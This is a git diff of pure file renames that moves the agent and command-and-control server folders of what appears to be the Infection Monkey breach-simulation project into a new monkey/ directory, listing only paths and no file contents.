monkey/infection_monkey/model/__init__.py diff --git a/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py similarity index 100% rename from infection_monkey/model/host.py rename to monkey/infection_monkey/model/host.py diff --git a/infection_monkey/monkey-linux.spec b/monkey/infection_monkey/monkey-linux.spec similarity index 100% rename from infection_monkey/monkey-linux.spec rename to monkey/infection_monkey/monkey-linux.spec diff --git a/infection_monkey/monkey.ico b/monkey/infection_monkey/monkey.ico similarity index 100% rename from infection_monkey/monkey.ico rename to monkey/infection_monkey/monkey.ico diff --git a/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py similarity index 100% rename from infection_monkey/monkey.py rename to monkey/infection_monkey/monkey.py diff --git a/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec similarity index 100% rename from infection_monkey/monkey.spec rename to monkey/infection_monkey/monkey.spec diff --git a/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh similarity index 100% rename from infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh rename to monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh diff --git a/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c similarity index 100% rename from infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c rename to monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c diff --git a/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h similarity index 100% rename from infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h rename to monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h diff --git a/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py similarity index 100% rename from infection_monkey/monkeyfs.py rename to monkey/infection_monkey/monkeyfs.py diff --git a/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py similarity index 100% rename from infection_monkey/network/__init__.py rename to monkey/infection_monkey/network/__init__.py diff --git a/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py similarity index 100% rename from infection_monkey/network/elasticfinger.py rename to monkey/infection_monkey/network/elasticfinger.py diff --git a/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py similarity index 100% rename from infection_monkey/network/firewall.py rename to monkey/infection_monkey/network/firewall.py diff --git a/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py similarity index 100% rename from infection_monkey/network/httpfinger.py rename to monkey/infection_monkey/network/httpfinger.py diff --git a/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py similarity index 100% rename from infection_monkey/network/info.py rename to monkey/infection_monkey/network/info.py diff --git a/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py similarity index 100% rename from infection_monkey/network/mysqlfinger.py rename to monkey/infection_monkey/network/mysqlfinger.py diff --git a/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py similarity index 100% rename from infection_monkey/network/network_scanner.py rename to monkey/infection_monkey/network/network_scanner.py diff --git a/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py similarity index 100% rename from infection_monkey/network/ping_scanner.py rename to monkey/infection_monkey/network/ping_scanner.py diff --git a/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py similarity index 100% rename from infection_monkey/network/smbfinger.py rename to monkey/infection_monkey/network/smbfinger.py diff --git a/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py similarity index 100% rename from infection_monkey/network/sshfinger.py rename to monkey/infection_monkey/network/sshfinger.py diff --git a/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py similarity index 100% rename from infection_monkey/network/tcp_scanner.py rename to monkey/infection_monkey/network/tcp_scanner.py diff --git a/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py similarity index 100% rename from infection_monkey/network/tools.py rename to monkey/infection_monkey/network/tools.py diff --git a/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt similarity index 100% rename from infection_monkey/readme.txt rename to monkey/infection_monkey/readme.txt diff --git a/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt similarity index 100% rename from infection_monkey/requirements.txt rename to monkey/infection_monkey/requirements.txt diff --git a/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py similarity index 100% rename from infection_monkey/system_info/__init__.py rename to monkey/infection_monkey/system_info/__init__.py diff --git a/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py similarity index 100% rename from infection_monkey/system_info/azure_cred_collector.py rename to monkey/infection_monkey/system_info/azure_cred_collector.py diff --git a/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py similarity index 100% rename from infection_monkey/system_info/linux_info_collector.py rename to monkey/infection_monkey/system_info/linux_info_collector.py diff --git a/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py similarity index 100% rename from infection_monkey/system_info/mimikatz_collector.py rename to monkey/infection_monkey/system_info/mimikatz_collector.py diff --git a/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py similarity index 100% rename from infection_monkey/system_info/windows_info_collector.py rename to monkey/infection_monkey/system_info/windows_info_collector.py diff --git a/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py similarity index 100% rename from infection_monkey/system_singleton.py rename to monkey/infection_monkey/system_singleton.py diff --git a/infection_monkey/test/__init__.py b/monkey/infection_monkey/test/__init__.py similarity index 100% rename from infection_monkey/test/__init__.py rename to monkey/infection_monkey/test/__init__.py diff --git a/infection_monkey/test/config__test.py b/monkey/infection_monkey/test/config__test.py similarity index 100% rename from infection_monkey/test/config__test.py rename to monkey/infection_monkey/test/config__test.py diff --git a/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py similarity index 100% rename from infection_monkey/transport/__init__.py rename to monkey/infection_monkey/transport/__init__.py diff --git a/infection_monkey/transport/base.py b/monkey/infection_monkey/transport/base.py similarity index 100% rename from infection_monkey/transport/base.py rename to monkey/infection_monkey/transport/base.py diff --git a/infection_monkey/transport/ftp.py b/monkey/infection_monkey/transport/ftp.py similarity index 100% rename from infection_monkey/transport/ftp.py rename to monkey/infection_monkey/transport/ftp.py diff --git a/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py similarity index 100% rename from infection_monkey/transport/http.py rename to monkey/infection_monkey/transport/http.py diff --git a/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py similarity index 100% rename from infection_monkey/transport/tcp.py rename to monkey/infection_monkey/transport/tcp.py diff --git a/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py similarity index 100% rename from infection_monkey/tunnel.py rename to monkey/infection_monkey/tunnel.py diff --git a/infection_monkey/utils.py b/monkey/infection_monkey/utils.py similarity index 100% rename from infection_monkey/utils.py rename to monkey/infection_monkey/utils.py diff --git a/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py similarity index 100% rename from infection_monkey/windows_upgrader.py rename to monkey/infection_monkey/windows_upgrader.py diff --git a/monkey_island/__init__.py b/monkey/monkey_island/__init__.py similarity index 100% rename from monkey_island/__init__.py rename to monkey/monkey_island/__init__.py diff --git a/monkey_island/cc/__init__.py b/monkey/monkey_island/cc/__init__.py similarity index 100% rename from monkey_island/cc/__init__.py rename to monkey/monkey_island/cc/__init__.py diff --git a/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py similarity index 100% rename from monkey_island/cc/app.py rename to monkey/monkey_island/cc/app.py diff --git a/monkey_island/cc/auth.py b/monkey/monkey_island/cc/auth.py similarity index 100% rename from monkey_island/cc/auth.py rename to monkey/monkey_island/cc/auth.py diff --git a/monkey_island/cc/binaries/.gitignore b/monkey/monkey_island/cc/binaries/.gitignore similarity index 100% rename from monkey_island/cc/binaries/.gitignore rename to monkey/monkey_island/cc/binaries/.gitignore diff --git a/monkey_island/cc/database.py b/monkey/monkey_island/cc/database.py similarity index 100% rename from monkey_island/cc/database.py rename to monkey/monkey_island/cc/database.py diff --git a/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py similarity index 100% rename from monkey_island/cc/encryptor.py rename to monkey/monkey_island/cc/encryptor.py diff --git a/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py similarity index 100% rename from monkey_island/cc/environment/__init__.py rename to monkey/monkey_island/cc/environment/__init__.py diff --git a/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py similarity index 100% rename from monkey_island/cc/environment/aws.py rename to monkey/monkey_island/cc/environment/aws.py diff --git a/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py similarity index 100% rename from monkey_island/cc/environment/environment.py rename to monkey/monkey_island/cc/environment/environment.py diff --git a/monkey_island/cc/environment/standard.py b/monkey/monkey_island/cc/environment/standard.py similarity index 100% rename from monkey_island/cc/environment/standard.py rename to monkey/monkey_island/cc/environment/standard.py diff --git a/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py similarity index 100% rename from monkey_island/cc/main.py rename to monkey/monkey_island/cc/main.py diff --git a/monkey_island/cc/resources/__init__.py b/monkey/monkey_island/cc/resources/__init__.py similarity index 100% rename from monkey_island/cc/resources/__init__.py rename to monkey/monkey_island/cc/resources/__init__.py diff --git a/monkey_island/cc/resources/client_run.py b/monkey/monkey_island/cc/resources/client_run.py similarity index 100% rename from monkey_island/cc/resources/client_run.py rename to monkey/monkey_island/cc/resources/client_run.py diff --git a/monkey_island/cc/resources/edge.py b/monkey/monkey_island/cc/resources/edge.py similarity index 100% rename from monkey_island/cc/resources/edge.py rename to monkey/monkey_island/cc/resources/edge.py diff --git a/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py similarity index 100% rename from monkey_island/cc/resources/local_run.py rename to monkey/monkey_island/cc/resources/local_run.py diff --git a/monkey_island/cc/resources/log.py b/monkey/monkey_island/cc/resources/log.py similarity index 100% rename from monkey_island/cc/resources/log.py rename to monkey/monkey_island/cc/resources/log.py diff --git a/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py similarity index 100% rename from monkey_island/cc/resources/monkey.py rename to monkey/monkey_island/cc/resources/monkey.py diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey/monkey_island/cc/resources/monkey_configuration.py similarity index 100% rename from monkey_island/cc/resources/monkey_configuration.py rename to monkey/monkey_island/cc/resources/monkey_configuration.py diff --git a/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py similarity index 100% rename from monkey_island/cc/resources/monkey_download.py rename to monkey/monkey_island/cc/resources/monkey_download.py diff --git a/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py similarity index 100% rename from monkey_island/cc/resources/netmap.py rename to monkey/monkey_island/cc/resources/netmap.py diff --git a/monkey_island/cc/resources/node.py b/monkey/monkey_island/cc/resources/node.py similarity index 100% rename from monkey_island/cc/resources/node.py rename to monkey/monkey_island/cc/resources/node.py diff --git a/monkey_island/cc/resources/report.py b/monkey/monkey_island/cc/resources/report.py similarity index 100% rename from monkey_island/cc/resources/report.py rename to monkey/monkey_island/cc/resources/report.py diff --git a/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py similarity index 100% rename from monkey_island/cc/resources/root.py rename to monkey/monkey_island/cc/resources/root.py diff --git a/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py similarity index 100% rename from monkey_island/cc/resources/telemetry.py rename to monkey/monkey_island/cc/resources/telemetry.py diff --git a/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py similarity index 100% rename from monkey_island/cc/resources/telemetry_feed.py rename to monkey/monkey_island/cc/resources/telemetry_feed.py diff --git a/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json similarity index 100% rename from monkey_island/cc/server_config.json rename to monkey/monkey_island/cc/server_config.json diff --git a/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py similarity index 100% rename from monkey_island/cc/services/__init__.py rename to monkey/monkey_island/cc/services/__init__.py diff --git a/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py similarity index 100% rename from monkey_island/cc/services/config.py rename to monkey/monkey_island/cc/services/config.py diff --git a/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py similarity index 100% rename from monkey_island/cc/services/edge.py rename to monkey/monkey_island/cc/services/edge.py diff --git a/monkey_island/cc/services/log.py b/monkey/monkey_island/cc/services/log.py similarity index 100% rename from monkey_island/cc/services/log.py rename to monkey/monkey_island/cc/services/log.py diff --git a/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py similarity index 100% rename from monkey_island/cc/services/node.py rename to monkey/monkey_island/cc/services/node.py diff --git a/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py similarity index 100% rename from monkey_island/cc/services/report.py rename to monkey/monkey_island/cc/services/report.py diff --git a/monkey_island/cc/ui/.babelrc b/monkey/monkey_island/cc/ui/.babelrc similarity index 100% rename from monkey_island/cc/ui/.babelrc rename to monkey/monkey_island/cc/ui/.babelrc diff --git a/monkey_island/cc/ui/.editorconfig b/monkey/monkey_island/cc/ui/.editorconfig similarity index 100% rename from monkey_island/cc/ui/.editorconfig rename to monkey/monkey_island/cc/ui/.editorconfig diff --git a/monkey_island/cc/ui/.eslintrc b/monkey/monkey_island/cc/ui/.eslintrc similarity index 100% rename from monkey_island/cc/ui/.eslintrc rename to monkey/monkey_island/cc/ui/.eslintrc diff --git a/monkey_island/cc/ui/.gitignore b/monkey/monkey_island/cc/ui/.gitignore similarity index 100% rename from monkey_island/cc/ui/.gitignore rename to monkey/monkey_island/cc/ui/.gitignore diff --git a/monkey_island/cc/ui/.yo-rc.json b/monkey/monkey_island/cc/ui/.yo-rc.json similarity index 100% rename from monkey_island/cc/ui/.yo-rc.json rename to monkey/monkey_island/cc/ui/.yo-rc.json diff --git a/monkey_island/cc/ui/cfg/base.js b/monkey/monkey_island/cc/ui/cfg/base.js similarity index 100% rename from monkey_island/cc/ui/cfg/base.js rename to monkey/monkey_island/cc/ui/cfg/base.js diff --git a/monkey_island/cc/ui/cfg/defaults.js b/monkey/monkey_island/cc/ui/cfg/defaults.js similarity index 100% rename from monkey_island/cc/ui/cfg/defaults.js rename to monkey/monkey_island/cc/ui/cfg/defaults.js diff --git a/monkey_island/cc/ui/cfg/dev.js b/monkey/monkey_island/cc/ui/cfg/dev.js similarity index 100% rename from monkey_island/cc/ui/cfg/dev.js rename to monkey/monkey_island/cc/ui/cfg/dev.js diff --git a/monkey_island/cc/ui/cfg/dist.js b/monkey/monkey_island/cc/ui/cfg/dist.js similarity index 100% rename from monkey_island/cc/ui/cfg/dist.js rename to monkey/monkey_island/cc/ui/cfg/dist.js diff --git a/monkey_island/cc/ui/cfg/test.js b/monkey/monkey_island/cc/ui/cfg/test.js similarity index 100% rename from monkey_island/cc/ui/cfg/test.js rename to monkey/monkey_island/cc/ui/cfg/test.js diff --git a/monkey_island/cc/ui/karma.conf.js b/monkey/monkey_island/cc/ui/karma.conf.js similarity index 100% rename from monkey_island/cc/ui/karma.conf.js rename to monkey/monkey_island/cc/ui/karma.conf.js diff --git a/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json similarity index 100% rename from monkey_island/cc/ui/package-lock.json rename to monkey/monkey_island/cc/ui/package-lock.json diff --git a/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json similarity index 100% rename from monkey_island/cc/ui/package.json rename to monkey/monkey_island/cc/ui/package.json diff --git a/monkey_island/cc/ui/server.js b/monkey/monkey_island/cc/ui/server.js similarity index 100% rename from monkey_island/cc/ui/server.js rename to monkey/monkey_island/cc/ui/server.js diff --git a/monkey_island/cc/ui/src/components/AuthComponent.js b/monkey/monkey_island/cc/ui/src/components/AuthComponent.js similarity index 100% rename from monkey_island/cc/ui/src/components/AuthComponent.js rename to monkey/monkey_island/cc/ui/src/components/AuthComponent.js diff --git a/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js similarity index 100% rename from monkey_island/cc/ui/src/components/Main.js rename to monkey/monkey_island/cc/ui/src/components/Main.js diff --git a/monkey_island/cc/ui/src/components/map/MapOptions.js b/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js similarity index 100% rename from monkey_island/cc/ui/src/components/map/MapOptions.js rename to monkey/monkey_island/cc/ui/src/components/map/MapOptions.js diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js similarity index 100% rename from monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js rename to monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js diff --git a/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/ConfigurePage.js rename to monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js diff --git a/monkey_island/cc/ui/src/components/pages/LicensePage.js b/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/LicensePage.js rename to monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js diff --git a/monkey_island/cc/ui/src/components/pages/LoginPage.js b/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/LoginPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/MapPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/MapPage.js diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/ReportPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js diff --git a/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js diff --git a/monkey_island/cc/ui/src/components/pages/RunServerPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/RunServerPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js diff --git a/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/StartOverPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js diff --git a/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/TelemetryPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js diff --git a/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js similarity index 100% rename from monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js rename to monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js diff --git a/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js similarity index 100% rename from monkey_island/cc/ui/src/components/report-components/BreachedServers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js diff --git a/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js b/monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js similarity index 100% rename from monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js rename to monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js diff --git a/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js similarity index 100% rename from monkey_island/cc/ui/src/components/report-components/ScannedServers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js diff --git a/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js b/monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js similarity index 100% rename from monkey_island/cc/ui/src/components/report-components/StolenPasswords.js rename to monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js diff --git a/monkey_island/cc/ui/src/config/README.md b/monkey/monkey_island/cc/ui/src/config/README.md similarity index 100% rename from monkey_island/cc/ui/src/config/README.md rename to monkey/monkey_island/cc/ui/src/config/README.md diff --git a/monkey_island/cc/ui/src/config/base.js b/monkey/monkey_island/cc/ui/src/config/base.js similarity index 100% rename from monkey_island/cc/ui/src/config/base.js rename to monkey/monkey_island/cc/ui/src/config/base.js diff --git a/monkey_island/cc/ui/src/config/dev.js b/monkey/monkey_island/cc/ui/src/config/dev.js similarity index 100% rename from monkey_island/cc/ui/src/config/dev.js rename to monkey/monkey_island/cc/ui/src/config/dev.js diff --git a/monkey_island/cc/ui/src/config/dist.js b/monkey/monkey_island/cc/ui/src/config/dist.js similarity index 100% rename from monkey_island/cc/ui/src/config/dist.js rename to monkey/monkey_island/cc/ui/src/config/dist.js diff --git a/monkey_island/cc/ui/src/config/test.js b/monkey/monkey_island/cc/ui/src/config/test.js similarity index 100% rename from monkey_island/cc/ui/src/config/test.js rename to monkey/monkey_island/cc/ui/src/config/test.js diff --git a/monkey_island/cc/ui/src/favicon.ico b/monkey/monkey_island/cc/ui/src/favicon.ico similarity index 100% rename from monkey_island/cc/ui/src/favicon.ico rename to monkey/monkey_island/cc/ui/src/favicon.ico diff --git a/monkey_island/cc/ui/src/images/guardicore-logo.png b/monkey/monkey_island/cc/ui/src/images/guardicore-logo.png similarity index 100% rename from monkey_island/cc/ui/src/images/guardicore-logo.png rename to monkey/monkey_island/cc/ui/src/images/guardicore-logo.png diff --git a/monkey_island/cc/ui/src/images/infection-monkey.svg b/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg similarity index 100% rename from monkey_island/cc/ui/src/images/infection-monkey.svg rename to monkey/monkey_island/cc/ui/src/images/infection-monkey.svg diff --git a/monkey_island/cc/ui/src/images/monkey-icon.svg b/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg similarity index 100% rename from monkey_island/cc/ui/src/images/monkey-icon.svg rename to monkey/monkey_island/cc/ui/src/images/monkey-icon.svg diff --git a/monkey_island/cc/ui/src/images/nodes/clean_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/clean_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/clean_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/clean_unknown.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_unknown.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/clean_unknown.png rename to monkey/monkey_island/cc/ui/src/images/nodes/clean_unknown.png diff --git a/monkey_island/cc/ui/src/images/nodes/clean_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/clean_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/clean_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/exploited_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/exploited_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/exploited_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/exploited_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/island.png b/monkey/monkey_island/cc/ui/src/images/nodes/island.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island.png diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/manual_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/manual_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/manual_linux_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/manual_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/manual_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/manual_windows_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/monkey_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/monkey_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png diff --git a/monkey_island/cc/ui/src/index.html b/monkey/monkey_island/cc/ui/src/index.html similarity index 100% rename from monkey_island/cc/ui/src/index.html rename to monkey/monkey_island/cc/ui/src/index.html diff --git a/monkey_island/cc/ui/src/index.js b/monkey/monkey_island/cc/ui/src/index.js similarity index 100% rename from monkey_island/cc/ui/src/index.js rename to monkey/monkey_island/cc/ui/src/index.js diff --git a/monkey_island/cc/ui/src/server_config/AwsConfig.js b/monkey/monkey_island/cc/ui/src/server_config/AwsConfig.js similarity index 100% rename from monkey_island/cc/ui/src/server_config/AwsConfig.js rename to monkey/monkey_island/cc/ui/src/server_config/AwsConfig.js diff --git a/monkey_island/cc/ui/src/server_config/BaseConfig.js b/monkey/monkey_island/cc/ui/src/server_config/BaseConfig.js similarity index 100% rename from monkey_island/cc/ui/src/server_config/BaseConfig.js rename to monkey/monkey_island/cc/ui/src/server_config/BaseConfig.js diff --git a/monkey_island/cc/ui/src/server_config/ServerConfig.js b/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js similarity index 100% rename from monkey_island/cc/ui/src/server_config/ServerConfig.js rename to monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js diff --git a/monkey_island/cc/ui/src/server_config/StandardConfig.js b/monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js similarity index 100% rename from monkey_island/cc/ui/src/server_config/StandardConfig.js rename to monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js 